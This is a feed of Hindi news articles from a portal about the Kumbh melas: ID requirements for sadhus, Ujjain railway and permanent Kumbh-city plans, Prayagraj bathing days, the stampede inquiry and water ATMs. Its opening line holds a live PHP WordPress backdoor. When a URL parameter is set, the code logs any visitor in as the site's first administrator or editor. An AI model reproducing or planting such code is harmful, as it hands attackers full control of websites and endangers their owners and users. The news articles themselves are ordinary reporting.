// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Kumbh – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 22 Mar 2026 04:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 अर्धकुंभ 2027 और महाकुंभ 2028 में बिना पहचान पत्र के साधु संतों को नहीं मिलेगा प्रवेश, अखाड़ा परिषद का बड़ा निर्णय https://pratyushaashakinayikiran.com/?p=206788 Sun, 22 Mar 2026 04:46:00 +0000 https://pratyushaashakinayikiran.com/?p=206788 हरिद्वार

साल 2027 में हरिद्वार में अर्ध कुंभ और 2028 में उज्जैन में महाकुंभ का आयोजन होने वाला है। यह दोनों ही आयोजन सुव्यवस्थित तथा पारदर्शी तरीके से हो सकें इसके लिए अखिल भारतीय अखाड़ा परिषद की ओर से एक बड़ा निर्णय लिया गया है।

दरअसल भारतीय खड़ा परिषद एवं श्रीमनसा देवी ट्रस्ट के अध्यक्ष श्री महेंद्र रवींद्र पुरी नहीं निर्णय लिया है कि हरिद्वार अर्धकुंभ और सिंहस्थ महाकुंभ में किसी भी साधु संत को बिना आधिकारिक पहचान के प्रवेश नहीं दिया जाएगा। सभी को अपना आधार कार्ड अनिवार्य रूप से अपने साथ रखना होगा।

अखाड़ा परिषद का बड़ा निर्णय
श्री महंत रवींद्र पुरी ने बताया कि यह निर्णय अखाड़ा परिषद की ओर से इसलिए लिया गया है ताकि फर्जी साधुओं पर अंकुश लगाया जा सके। जो भी भगवाधारी बिना पहचान पत्र के मिलेंगे उनकी विशेष जांच की जाएगी और अगर आवश्यकता पड़ी तो उन्हें मेले में प्रवेश से रोका भी जाएगा।

अखाड़ा अध्यक्ष के मुताबिक यह दोनों ही मिले सनातन धर्म की आस्था, परंपरा और संस्कृति का प्रतीक है। फर्जी साधुओं की मौजूदगी से श्रद्धालुओं की भावनाएं आहत हो सकती है। उन्होंने सभी अखाड़ों से इस अभियान में सहयोग करने की अपील की है। श्रद्धालुओं से भी अपील की गई है कि वह सतर्क रहें और किसी भी संदिग्ध व्यक्ति के झांसे में ना आएं।

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कुंभ 2028 की तैयारी तेज़, उज्जैन के 5 रेलवे स्टेशनों का होगा कायाकल्प https://pratyushaashakinayikiran.com/?p=175131 Sun, 03 Aug 2025 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=175131 उज्जैन 

सिंहस्थ 2028 महाकुंभ के आयोजन को लेकर तैयारियां प्रारंभ हो चुकी हैं। इसी क्रम में शनिवार को कलेक्टर रोशन कुमार सिंह ने रेलवे के वरिष्ठ अधिकारियों के साथ उज्जैन सहित आसपास के प्रमुख रेलवे स्टेशनों का निरीक्षण किया। निरीक्षण का उद्देश्य सिंहस्थ के दौरान बड़ी संख्या में आने वाले श्रद्धालुओं की सुविधा और रेलवे स्टेशन से मेला क्षेत्र तक आवागमन को सुगम बनाना रहा।

निरीक्षण की शुरुआत उज्जैन के मुख्य रेलवे स्टेशन से की गई। इसके बाद कलेक्टर ने निरीक्षण यान के माध्यम से विक्रमनगर, नईखेड़ी, पिंगलेश्वर, चिंतामण गणेश सहित अन्य स्टेशनों का दौरा किया। उन्होंने सभी स्टेशनों पर श्रद्धालुओं की संख्या के अनुरूप पर्याप्त होल्डिंग एरिया विकसित करने के निर्देश दिए। साथ ही यात्रियों के लिए आगमन और निर्गमन के मार्ग अलग-अलग रखने और स्टेशनों से सीधे मेला क्षेत्र तक आवागमन के लिए विशेष व्यवस्था करने को कहा।

निरीक्षण के दौरान चिंतामण गणेश स्टेशन पर एक अतिरिक्त प्लेटफॉर्म का विस्तार करने तथा चिंतामण से शनि मंदिर तक जाने वाले मार्ग पर स्थित लेवल क्रॉसिंग पर नया रेलवे ओवरब्रिज (ROB) बनाए जाने पर चर्चा हुई। पिंगलेश्वर स्टेशन को दोनों ओर से जोड़ने के लिए 10 मीटर चौड़ी कनेक्टिविटी रोड का निर्माण किया जाएगा। वहीं, वर्तमान में निर्माणाधीन अंडरपास के पास एक और अंडरपास बनाए जाने का प्रस्ताव भी रखा गया।

पंवासा फ्लैग स्टेशन को एनएचएआई मार्ग से जोड़ने के लिए स्टेशन तक सर्विस रोड बनवाई जाएगी। प्लेटफार्म क्रमांक 2 से मक्सी मार्ग तक सर्विस लेन का विस्तार भी किया जाएगा। नईखेड़ी स्टेशन पर प्लेटफॉर्म का विस्तार करने के साथ यात्रियों के लिए अलग-अलग एंट्री और एग्जिट मार्ग बनाए जाएंगे। इसके अतिरिक्त दोनों ओर एप्रोच रोड और एक रेलवे ओवरब्रिज का निर्माण भी प्रस्तावित है। वहीं मोहनपुरा रेलवे क्रॉसिंग पर बन रहे ROB के दोनों ओर सर्विस रोड के निर्माण की प्रक्रिया पर भी चर्चा की गई।

निरीक्षण के दौरान जिला पंचायत सीईओ जयति सिंह, नगर निगम आयुक्त आशीष पाठक, ईई पीडब्ल्यूडी गौतम अहिरवार सहित संबंधित विभागों के अधिकारी मौजूद थे। रेलवे विभाग से सिंहस्थ मेला अधिकारी कुंजीलाल मीना, पश्चिम रेलवे रतलाम मंडल की वरिष्ठ मंडल वाणिज्य प्रबंधक श्रीमती हीना वी. केवलरामानी, वरिष्ठ मंडल इंजीनियर (समन्वय) पीयूष पांडे, वरिष्ठ मंडल परिचालन प्रबंधक आलोक चतुर्वेदी सहित अन्य वरिष्ठ अधिकारी भी निरीक्षण में शामिल रहे।

सिंहस्थ कुम्भ को लेकर कलेक्टर सिंह के साथ जिला पंचायत सीईओ जयती सिंह, नगर निगम आयुक्त आशीष पाठक, रेलवे विभाग से सिंहस्थ मेला अधिकारी कुंजीलाल मीना, पश्चिम रेलवे रतलाम मंडल की वरिष्ठ मंडल वाणिज्य प्रबंधक हीना वी. केवलरामानी और अन्य अधिकारी मौजूद थे।

कलेक्टर रोशन सिंह सभी अधिकारियों के साथ उज्जैन के मुख्य रेलवे स्टेशन पहुंचे। उन्होंने निरीक्षण यान से विक्रमनगर, नईखेड़ी, पिंगलेश्वर, चिंतामण गणेश एवं अन्य स्टेशनों का निरीक्षण किया गया।

उन्होंने कुंभ में करोड़ों श्रद्धालुओं के आने संभावना को देखते हुए सभी स्टेशन पर यात्रियों की क्षमता वाले होल्डिंग एरिया बनाने, यात्रियों की सुविधा के लिए एंट्री और एग्जिट मार्ग को अलग-अलग रखने तथा स्टेशन से सीधे मेला क्षेत्र तक सुगम अवागमन की व्यवस्था सुनिश्चित करने के भी निर्देश दिए हैं।

निरीक्षण के कलेक्टर में ये निर्देश भी दिए

  •     चिंतामण गणेश स्टेशन पर एक अतिरिक्त प्लेटफॉर्म का विस्तार किए जाने साथ ही, चिंतामण से शनि मंदिर जाने वाले मार्ग पर स्थित लेवल क्रॉसिंग पर एक नया रेलवे ओवरब्रिज (ROB) बनाने।
  •     पिंगलेश्वर स्टेशन को दोनों ओर से जोड़ने के लिए 10 मीटर चौड़ी कनेक्टिविटी रोड।
  •     निर्माणाधीन अंडरपास के पास एक और अंडरपास का निर्माण किया जाने।
  •     पंवासा फ्लैग स्टेशन को NHAI मार्ग से जोड़ने के लिए स्टेशन तक सर्विस रोड का निर्माण।
  •     प्लेटफार्म क्रमांक 2 से मक्सी मार्ग तक सर्विस लेन का विस्तार किए जाने हैं।
  •     नईखेड़ी स्टेशन पर प्लेटफार्म का विस्तार किए जाने हैं।
  •     यात्रियों की सुविधा के लिए एंट्री और एग्जिट मार्ग अलग-अलग करने तथा दोनों ओर एप्रोच रोड और एक ROB भी बनाए जाने और मोहनपुरा रेलवे क्रॉसिंग पर बन रहे ROB के दोनों ओर सर्विस रोड का निर्माण सुनिश्चित किए जाने पर चर्चा की गई।

 

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उज्जैन में जल्द ही एक स्थायी नई कुंभ नगरी बसने जा रही, जिसमे अंतर्राष्ट्रीय स्तर की सुविधाएं होंगी https://pratyushaashakinayikiran.com/?p=130242 Sun, 09 Feb 2025 03:38:00 +0000 https://pratyushaashakinayikiran.com/?p=130242 उज्जैन
 सिंहस्थ क्षेत्र को आधुनिक स्वरूप देने की बड़ी योजना पर काम शुरू हो गया है. सिंहस्थ की भूमि पर स्थायी कुंभ नगरी बसाने की तैयारी है. इसमें हाईटेक अत्याधुनिक सुविधाएं होंगी. इस प्रोजेक्ट के तहत उज्जैन विकास प्राधिकरण (UDA) लैंड पूलिंग स्कीम के तहत लगभग 2378 हेक्टेयर क्षेत्र में कुंभ नगरी विकसित करेगी. इस प्रोजेक्ट का उद्देश्य सिंहस्थ 2028 के लिए बुनियादी ढांचे को मजबूत करना है.

स्थायी संरचनाओं के साथ आधुनिक सुविधाएं

अब तक सिंहस्थ मेले के दौरान अस्थायी निर्माण पर करोड़ों रुपये खर्च किए जाते थे, जो सिंहस्थ के पूरा होते ही हटा दिए जाते थे. लेकिन इस बार स्थायी सड़कें, बिजली, सीवरेज सिस्टम, जल आपूर्ति और अन्य नागरिक सुविधाओं का निर्माण किया जाएगा. इस हाईटेक धार्मिक नगरी की मुख्य विशेषताएं इस प्रकार हैं.

देश में पहली बार स्थायी कुंभ नगरी उज्जैन में

    इंटरकनेक्टेड सड़कों का नेटवर्क : 60 से 200 फीट चौड़ी सड़कें बनाई जाएंगी, जो मेला क्षेत्र को सुव्यवस्थित तरीके से जोड़ेंगी.

    स्मार्ट ट्रैफिक मैनेजमेंट : भीड़ नियंत्रण के लिए सड़कों को इस तरह डिज़ाइन किया जाएगा कि सिंहस्थ के दौरान श्रद्धालुओं की भीड़ को सुगमता से डायवर्ट किया जा सके.

    अत्याधुनिक सीवरेज और जल निकासी प्रणाली : अंडरग्राउंड ड्रेनेज सिस्टम और वॉटर मैनेजमेंट से सफाई बनी रहेगी.

    भव्य प्रवेश द्वार : धार्मिक महत्व को दर्शाने वाले शानदार प्रवेश द्वार बनाए जाएंगे.
    हरे-भरे सार्वजनिक स्थल : पार्क, वॉकिंग पाथवे, ओपन जिम, और प्लांटेशन का विशेष ध्यान रखा जाएगा.

उज्जैन के लोगो के साथ ही किसानों को लाभ मिलने का दावा

सरकार का दावा है कि यह योजना सिर्फ सिंहस्थ के लिए नहीं, बल्कि उज्जैन के किसानों और स्थानीय लोगों के दीर्घकालिक विकास को ध्यान में रखकर बनाई गई है.

    लैंड पूलिंग स्कीम के तहत 50% भूमि किसानों के पास ही रहेगी, जिससे उन्हें अपनी जमीन पर बेहतर सुविधाएं मिलेंगी.

    25% भूमि सड़क निर्माण में जाएगी, जिसमें बिजली, पानी, और सीवरेज जैसी सुविधाएं भी शामिल होंगी.

    5% भूमि हरित क्षेत्र, उद्यान, और सार्वजनिक पार्कों के लिए आरक्षित होगी.
    5% भूमि पर अस्पताल, स्कूल, पुलिस स्टेशन, और अन्य नागरिक सुविधाएं विकसित की जाएंगी.

स्थायी कुंभ नगरी पर खर्च होंगे 2 हजार करोड़ रुपए

इस परियोजना पर करीब 2000 करोड़ रुपए खर्च करने का लक्ष्य है. पहली बार सिंहस्थ क्षेत्र में स्थायी विकास होगा, जिससे हर 12 साल में बार-बार अस्थायी निर्माण की जरूरत नहीं पड़ेगी. इससे भविष्य में खर्च भी कम होगा और उज्जैन को एक सुनियोजित धार्मिक एवं सांस्कृतिक नगरी के रूप में पहचान मिलेगी. उज्जैन विकास प्राधिकरण के सीईओ संदीप सोनी का कहना है "मुख्यमंत्री डॉ. मोहन यादव की दूरदृष्टि यह है कि उज्जैन को धार्मिक पर्यटन के वैश्विक केंद्र के रूप में विकसित किया जाए. इसके तहत सिंहस्थ 2028 के लिए तैयार होने वाली यह कुम्भ नगरी न केवल श्रद्धालुओं के लिए सहूलियत लाएगी, बल्कि स्थानीय किसानों, व्यापारियों और निवासियों के लिए भी वरदान साबित होगी."

1806 किसानों की जमीन होगी लैंड पूलिंग स्थायी कुंभ सिटी तैयार करने उज्जैन विकास प्राधिकरण 1806 किसानों की करीब 5000 सर्वे वाली जमीन की लैंड पूलिंग करेगा। ऐसा पहली बार होगा जब सिंहस्थ भूमि पर स्थायी सड़कें, बिजली के पोल और अन्य निर्माण कार्य किए जाएंगे।

यहां 60 से 200 फीट तक की सड़कें बनेगी। ये सभी इंटर कनेक्ट रहेंगी। इसका फायदा यह होगा कि श्रद्धालु सुगमता से कुंभ में आ-जा सकेंगे। प्रशासन भी भीड़ बढ़ने पर क्राउड को समय रहते शिफ्ट कर सकेगा।

दरअसल, अब तक सिंहस्थ भूमि पर स्थायी निर्माण की अनुमति नहीं थी। जिससे मंगलनाथ क्षेत्र और शिप्रा नदी से मुरलीपुरा तक के आसपास की सिंहस्थ भूमि पर विकास नहीं हो पाया था। लेकिन, उज्जैन विकास प्राधिकरण की इस योजना से यह पूरा क्षेत्र स्थायी तौर पर विकसित हो सकेगा।

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बसंत पंचमी पर महाकुम्भ में भारत के हर राज्य और हर जाति लोगों ने एक साथ संगम में अमृत स्नान किया https://pratyushaashakinayikiran.com/?p=128648 Mon, 03 Feb 2025 20:09:00 +0000 https://pratyushaashakinayikiran.com/?p=128648 महाकुम्भनगर
 बसंत पंचमी पर महाकुम्भ में भारत के हर राज्य और हर जाति लोगों ने एक साथ संगम में अमृत स्नान किया। इसके साथ दुनिया भर के कई देशों के श्रद्धालु भी पहुंचे और जय श्री राम, हर हर गंगे, बम बम भोले के उद्घोष के साथ भारतीय जनमानस के साथ घुल मिल गए। अमृत स्नान पर महाकुम्भ नगर में एकता का महाकुम्भ नजर आया। यहां भारत की सनातन संस्कृति से अभिभूत विदेशी नागरिकों ने परिवार के साथ पहुंचकर गंगा स्नान किया। जय श्री राम, हर हर गंगे का नारा लगाकर लोग उत्साह से लबरेज नजर आए।

आस्था का संगम

महाकुम्भ के इस ऐतिहासिक मौके पर संगम का तट भारतीय और विदेशी श्रद्धालुओं से पूरी तरह से भर गया। आस्था का ऐसा संगम हुआ कि संगम की रेत तक नजर नहीं आ रही थी। हर जगह सिर्फ मुंड ही मुंड नजर आ रहे थे। दिल्ली, हरियाणा, पंजाब, पश्चिम बंगाल, असम, बिहार, केरल, आंध्र प्रदेश समेत हर राज्य, हर जाति के लोग और अन्य देशों से आए विदेशी नागरिकों ने संगम के पवित्र जल में डुबकी लगाकर पुण्य अर्जित किया। अमेरिकी, इजरायली, फ्रांसीसी समेत कई अन्य देशों के नागरिक गंगा स्नान करते हुए भारत की सनातन संस्कृति से अभिभूत हुए। वे भी बम बम भोले के नारे लगाते हुए उत्साह से झूमते नजर आए।

महाकुम्भ से अंतरराष्ट्रीय स्तर पर बढ़ी भारत की ब्रांडिग

मुख्यमंत्री योगी आदित्यनाथ के नेतृत्व में दिव्य और भव्य महाकुम्भ का अलौकिक आयोजन किया गया है। भारत की सांस्कृतिक विरासत और आध्यात्मिक शक्ति महाकुम्भ के इस बार के अद्भुत आयोजन ने अंतरराष्ट्रीय स्तर पर और भी ज्यादा बढ़ा दी है। महाकुम्भ में दुनिया भर के कई देशों के नागरिकों ने भाग लिया और भारत की संस्कृति को अनुभव किया। विदेशी श्रद्धालु भारत की सनातन संस्कृति से गहरे प्रभावित हुए और परिवार के साथ गंगा में स्नान किया। संगम के तट पर जय श्री राम और हर हर गंगे के उद्घोष से माहौल बना और श्रद्धालु श्रद्धा से गंगा में डुबकी लगाते रहे।

हर वर्ग, संप्रदाय के लिए समानता का भाव

प्रयागराज का महाकुम्भ विश्व का सबसे बड़ा मानवीय और आध्यात्मिक सम्मेलन है। यूनेस्को ने महाकुम्भ को मानवता की अमूर्त सांस्कृतिक विरासत घोषित किया है। सीएम योगी का मानना है कि महाकुम्भ भारत की सांस्कृतिक विविधता में समायी हुई एकता और समता के मूल्यों का सबसे बड़ा प्रतीक है। यहां सब एक समान हैं। करोड़ों लोग बिना किसी भेदभाव के एक साथ त्रिवेणी संगम में डुबकी लगा रहे हैं। श्रद्धालु, समस्त साधु, संन्यासियों का आशीर्वाद ले रहे हैं, मंदिरों में दर्शन कर अन्नक्षेत्र में एक ही पंगत में बैठ कर भण्डारों में खाना खा रहे हैं। महाकुम्भ भारत की सांस्कृतिक विविधता में समायी हुई एकता और समता के मूल्यों का सबसे बड़ा प्रदर्शन स्थल है, जिसे दुनिया भर से आये पर्यटक देखकर आश्चर्यचकित हैं। कैसे अलग-अलग भाषायी, रहन-सहन, रीति-रिवाज को मानने वाले एकता के सूत्र में बंधे संगम में स्नान करने चले आते हैं। साधु-संन्यासियों के अखाड़े हों या तीर्थराज के मंदिर और घाट, बिना रोक टोक श्रद्धालु दर्शन,पूजन करने जा रहे हैं। संगम क्षेत्र में चल रहे अनेक अन्न भण्डार सभी भक्तों, श्रद्धालुओं के लिए दिनरात खुले हैं जहां सभी लोग एक साथ पंगत में बैठ कर भोजन ग्रहण कर रहे हैं। महाकुम्भ मेले में भारत कि विविधता इस तरह समरस हो जाती है कि उनमें किसी तरह का भेद कर पाना संभव नहीं है।

अनवरत जारी है सनातन संस्कृति की परंपरा

महाकुम्भ में सनातन परंपरा को मनाने वाले शैव, शाक्त, वैष्णव, उदासीन, नाथ, कबीरपंथी, रैदासी से लेकर भारशिव, अघोरी, कपालिक सभी पंथ और संप्रदायों के साधु,संत एक साथ मिलकर अपने-अपने रीति-रिवाजों से पूजन-अर्चन और गंगा स्नान कर रहे हैं। संगम तट पर लाखों की संख्या में कल्पवास करने वाले श्रद्धालु देश के कोने-कोने से आए हैं। अलग-अलग जाति, वर्ग, भाषा को बोलने वाले साथ मिलकर महाकुम्भ की परंपराओं का पालन कर रहे हैं। महाकुम्भ में अमीर, गरीब, व्यापारी, अधिकारी सभी तरह के भेदभाव भुलाकर एक साथ एक भाव में संगम में डुबकी लगा रहे हैं। महाकुम्भ और मां गंगा, नर, नारी, किन्नर, शहरी, ग्रामीण, गुजराती, राजस्थानी, कश्मीरी, मलयाली किसी में भेद नहीं करती। अनादि काल से सनातन संस्कृति की समता,एकता कि ये परंपरा प्रयागराज में संगम तट पर महाकुम्भ में अनवरत चलती आ रही है।

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महाकुंभ में श्रद्धालुओं की भारी भीड़ को देखते हुए प्रयागराज में आज सोमवार को सरकारी कार्यालयों में छुट्टी https://pratyushaashakinayikiran.com/?p=128467 Mon, 03 Feb 2025 13:56:00 +0000 https://pratyushaashakinayikiran.com/?p=128467  प्रयागराज

बसंत पंचमी के अवसर पर स्नान के लिए देश-विदेश से बड़ी संख्या में आने वाले श्रद्धालुओं के मद्देनजर कानून-व्यवस्था बनाए रखने के लिए प्रयागराज के जिला मजिस्ट्रेट ने आज (सोमवार) को जिले के सरकारी कार्यालयों में स्थानीय अवकाश घोषित किया है।

जिला मजिस्ट्रेट कार्यालय के एक आदेश के अनुसार, इसमें कहा गया है कि लाखों श्रद्धालुओं और तीर्थयात्रियों की निरंतर आमद के कारण मुख्य स्नान के दिनों में प्रयागराज जिले की सीमा के भीतर सभी सरकारी कार्यालयों में छुट्टी घोषित करना आवश्यक हो गया है। महाकुंभ के दौरान त्रिवेणी संगम पर पवित्र स्नान के लिए देश-विदेश से लोग उमड़ रहे हैं।

आदेश में कहा गया है कि सूचित किया जाता है कि 3 फरवरी को बसंत पंचमी के मुख्य स्नान पर्व के अवसर पर श्रद्धालुओं एवं स्नानार्थियों की भारी भीड़ एवं यातायात प्रतिबंध के कारण शांति और कानून और व्यवस्था बनाये रखने हेतु जनपद प्रयागराज में सरकारी कार्यालयों में स्थानीय अवकाश घोषित किया गया है।

इससे पहले, वरिष्ठ पुलिस अधीक्षक (एसएसपी) राजेश द्विवेदी ने रविवार को आश्वासन दिया कि पवित्र आयोजन की सुचारू कार्यवाही सुनिश्चित करने के लिए त्रिस्तरीय प्रणाली लागू की जा रही है। समाचार एजेंसी से बात करते हुए द्विवेदी ने कहा, “यहां एक त्रिस्तरीय प्रणाली काम कर रही है। सभी वरिष्ठ अधिकारी समन्वय कर रहे हैं ताकि इस तरह की कोई घटना न हो और चीजें सुचारू रूप से चलें।” उन्होंने कहा, ” हम भीड़ की गतिविधियों पर बारीकी से नजर रख रहे हैं।”

शनिवार तक 330 मिलियन (33 करोड़) से अधिक श्रद्धालुओं ने महाकुंभ में पवित्र स्नान किया है, जो इसे दुनिया का सबसे बड़ा धार्मिक आयोजन बनाता है। उसी दिन 200 से अधिक अंतर्राष्ट्रीय भक्तों ने प्रयागराज में प्रार्थना और भजन कीर्तन में भाग लिया और कार्यक्रम की आध्यात्मिक ऊर्जा और असाधारण संगठन के लिए अपनी सराहना व्यक्त की।

उत्तर प्रदेश सरकार ने इस आयोजन के लिए विस्तृत व्यवस्था की है, जिसकी भक्तों ने प्रशंसा की है। कई लोगों ने तीर्थयात्रियों के लिए एक सहज और सुरक्षित अनुभव सुनिश्चित करने में सरकार के प्रयासों की सराहना की है।

 

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महाकुंभ भगदड़ की जांच के लिए न्यायिक आयोग की टीम पहुंची संगम, दो सीनियर IAS अफसरों को किया तैनात https://pratyushaashakinayikiran.com/?p=127727 Sat, 01 Feb 2025 12:56:00 +0000 https://pratyushaashakinayikiran.com/?p=127727 प्रयागराज

हाल ही में महाकुंभ में मची भगदड़ के बाद यूपी सरकार ने भीड़ नियंत्रण और सुचारू व्यवस्था के लिए दो सीनियर आईएएस अधिकारियों की तैनाती की है. दोनों आईएएस अफसरों ने साल 2019 के अर्धकुंभ में जिम्मेदारी संभाली थी. सरकार ने आगामी बसंत पंचमी (अमृत स्नान) के सफल आयोजन को लेकर इन अधिकारियों को नियुक्त किया है. 3 फरवरी को होने वाले इस प्रमुख स्नान पर भारी भीड़ जुटने की संभावना है.

महाकुंभ मेला में भगदड़ के एक दिन बाद गुरुवार को भारी भीड़ पहुंची. करीब दो करोड़ लोगों ने संगम स्नान किया. कुंभ में अब तक करीब 30 करोड़ लोग स्नान कर चुके हैं. वहीं डीजीपी प्रशांत कुमार और मुख्य सचिव मनोज सिंह भी घटनास्थल पर पहुंचे और हादसे की वजहों को जाना. न्यायिक आयोग की टीम भी यहां पहुंची. सरकार ने मौनी अमावस्या पर हादसे से सबक लेते हुए अमृत स्नान के दिन VIP मूवमेंट पर रोक लगा दी है. बाहरी वाहन भी कुंभ मेला क्षेत्र में नहीं आ पाएंगे.

एजेंसी के अनुसार, सरकार ने सीनियर IAS अधिकारी अशीष गोयल और भानु चंद्र गोस्वामी को प्रयागराज भेजा है, जो अर्धकुंभ 2019 के दौरान प्रशासनिक टीम का हिस्सा थे. ये दोनों अधिकारी क्राउड मैनेजमेंट और विभिन्न एजेंसियों के बीच समन्वय के साथ महाकुंभ की जिम्मेदारी संभालेंगे. इनकी नियुक्ति मेले के मुख्य अधिकारी विजय किरण आनंद के साथ की गई है. ये अधिकारी अब महाकुंभ के दौरान सुरक्षा और प्रशासनिक व्यवस्था देखेंगे. पुलिस महानिरीक्षक केपी सिंह ने कहा कि अमृत स्नान जैसे बड़े आयोजनों का सुचारू संचालन सुनिश्चित होगा.

महाकुंभ के दौरान कानून-व्यवस्था की मजबूती के लिए सरकार ने वरिष्ठ पुलिस अधिकारियों की भी तैनाती की है. इसके तहत चार वरिष्ठ पुलिस अधीक्षक और तीन अतिरिक्त पुलिस अधीक्षक को जिम्मेदारी दी गई है. इनमें देवरिया के वर्तमान एसपी दीपेंद्र नाथ चौधरी, भ्रष्टाचार निरोधक विभाग के लक्ष्मीनिवास मिश्रा, प्रशासनिक अधिकारी राजधारी चौरसिया और कानपुर नगर के डीसीपी श्रवण कुमार सिंह प्रमुख रूप से शामिल हैं.

इनके अलावा, तीन अतिरिक्त पुलिस अधीक्षकों को क्राउड मैनेजमेंट और सुरक्षा रणनीति को बेहतर बनाने के लिए विशेष जिम्मेदारी दी गई है. इनमें कानून-व्यवस्था के अतिरिक्त महानिदेशक के स्टाफ अधिकारी विकास चंद्र त्रिपाठी, बस्ती में तैनात ओमप्रकाश सिंह और श्रावस्ती के प्रवीण कुमार यादव प्रमुख हैं.

सुरक्षा और व्यवस्था में उठाए गए कदम

महाकुंभ में लाखों की संख्या में श्रद्धालु आ रहे हैं, जिसे देखते हुए ये व्यवस्थाएं की जा रही हैं. प्रमुख घाटों और संगम क्षेत्र में भीड़ नियंत्रण की प्रभावी व्यवस्था की जा रही है. भीड़ की आवाजाही को सुव्यवस्थित करने के लिए नए रास्ते बनाए जा रहे हैं. इमरजेंसी रिस्पॉस सिस्टम को मजबूत किया गया है, ताकि किसी भी स्थिति में तत्काल कार्रवाई हो सके. विभिन्न एजेंसियों के बीच सुरक्षा समन्वय मजबूत किया गया है.

भीड़ की निगरानी के लिए आधुनिक तकनीक का इस्तेमाल हो रहा है. अत्यधिक भीड़भाड़ से बचने के लिए मजबूत बैरिकेडिंग और एंट्री कंट्रोल के उपाय किए गए हैं. प्रमुख स्थानों पर पुलिस गश्त को बढ़ाया गया है.

महाकुंभ 13 जनवरी से 26 फरवरी तक चलेगा. अब तक 30 करोड़ से अधिक श्रद्धालु महाकुंभ में शामिल हो चुके हैं. अनुमान लगाया जा रहा है कि यह संख्या 45 करोड़ तक पहुंच सकती है. बता दें कि बुधवार तड़के संगम नोज क्षेत्र में मची भगदड़ में 30 श्रद्धालुओं की मौत हो गई थी और 60 लोग घायल हुए थे. ये लोग मौनी अमावस्या पर गंगा, यमुना और पौराणिक सरस्वती नदी के संगम में स्नान के लिए पहुंचे थे.

 

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महाकुंभ मेले में वाटर एटीएम दे रहा है फ्री आरओ पानी, बटन दबाते ही निकलने लगता है जल https://pratyushaashakinayikiran.com/?p=127677 Sat, 01 Feb 2025 09:55:00 +0000 https://pratyushaashakinayikiran.com/?p=127677 प्रयागराज

संपूर्ण दुनिया के आकर्षण का केंद्र बना प्रयागराज महाकुंभ नित नए कीर्तिमान रच रहा है। विश्व के 116 देशों के राजनयिक कल महाकुंभनगर आ रहे हैं। सभी राजनयिक प्रयागराज के बमरौली एयरपोर्ट पर उतरेंगे। वहां से हेलीकाप्टर से अरैल पहुंचेंगे। राजनयिकों के साथ विदेशमंत्री एस.जयशंकर पहुंच रहे हैं।उत्तर प्रदेश के मुख्यमंत्री योगी आदित्यनाथ सभी का प्रयागराज में स्वागत करेंगे। सभी राजनयिक अरैल पहुंचने पर सबसे पहले अपने देश का झंडा फहरायेंगे। इसके बाद संगम में डुबकी लगाने पहुंचेंगे ।यह वैश्विक आयोजन मां गंगा के तट पर होगा। इस समागम में धुर विरोधी रूस और यूक्रेन के राजदूत भी शामिल होंगे। इसके अलावा अमेरिका, बांग्लादेश, जापान, जर्मनी, हंगरी, बेलारूस, कजाकिस्तान, दक्षिण अफ्रीका, ब्राजील, मलेशिया, जिम्बाम्बे, कम्बोडिया, इटली, नेपाल, थाईलैंड, स्वीडन व स्विटजरलैंड समेत 116 देशों के राजनयिक अमृतकाल के साक्षी बनेंगे।मेला अधिकारी विजय किरन आनंद के अनुसार, इस संबंध में सारी तैयारियां पूरी कर ली गई हैं। राजनयिक संगम में डुबकी लगाने के बाद अक्षयवट और लेटे हुए हनुमान जी का दर्शन करेंगे। इसके बाद डिजिटल अनुभूति केंद्र में प्रयागराज के महात्म्य के संबंध में जानकारी लेंगे।

इस बार 116 देशों के राजनायिक आ रहे हैं। वे आज शनिवार को सुबह अरैल पहुंचेंगे। अरैल स्थित टेंट सिटी में उनका परंपरागत तरीके से स्वागत किया जाएगा। इसी क्रम में राजनायिक झंडे को सलामी देंगे। इसके बाद उन्हें क्रूज से वीआईपी घाट लाया जाएगा। संगम पर उनके स्नान की भी व्यवस्था रहेगी।

इसके लिए जेटी तैयार की जा रही है। वे अक्षयवट, हनुमान मंदिर में दर्शन करेंगे और संतों से भी मिलेंंगे। विदेशी डेलीगेट्स कला कुंभ, डिजिटल अनुभूति केंद्र समेत अन्य प्रदर्शनियों का अवलोकन करेंगे। शाम को सांस्कृतिक आयोजन में भी शामिल होंगे। इसके बाद वे वाराणसी के लिए रवाना होंगे।

मेले में वाटर एटीएम दे रहा है फ्री आरओ पानी
यूपी जल निगम ने मेला क्षेत्र में 200 वाटर एटीएम लगाए हैं। इनके माध्यम से श्रद्धालुओं को फ्री आरओ पानी मिल रहा है। प्रतिदिन 12 से 15 हजार लीटर पानी उपलब्ध कराया जा रहा है। अधिशासी अभियंता ने बताया कि मेला प्रशासन ने पहले इसके लिए एक रुपये का शुल्क लगाया था, पर अब यह पूरी तरह मुफ्त है। वाटर एटीएम पर ऑपरेटर बैठते हैं, जो श्रद्धालुओं के कहने पर बटन दबाकर शुद्ध जल उपलब्ध करा रहे हैं। इनकी सेंसर के माध्यम से निगरानी भी होती है।

श्रीकृष्ण जन्मभूमि की मुक्ति को डेढ़ करोड़ ने किए हस्ताक्षर
श्रीकृष्ण जन्मभूमि की मुक्ति और मंदिर के भव्य निर्माण को लेकर श्रीकृष्ण जन्मभूमि मुक्ति न्यास की ओर से मेले में चल रहे अभियान में डेढ़ करोड़ लोग हस्ताक्षर कर चुके हैं। एक फरवरी को सेक्टर-16 स्थित जगद्गुरु रामानंदाचार्य स्वामी राजेश्वर माऊली के पंडाल में महासंवाद होगा। इसमें आगे के आंदोलन की आधारशिला रखी जाएगी।

अध्यक्ष एडवोकेट महेंद्र प्रताप सिंह ने बताया कि भगवान श्रीकृष्ण की मूल जन्मस्थली (वर्तमान में शाही ईदगाह मस्जिद) को मुक्त कराने के लिए अभियान की शुरुआत जन्मभूमि के मुख्य द्वार से की गई थी। इसमें अब तक डेढ़ करोड़ लोगों ने हस्ताक्षर कर आंदोलन को समर्थन दिया है। साधु-महात्मा, महामंडलेश्वर, जगद्गुरु और शंकराचार्य महासंवाद में शामिल होंगे।

 

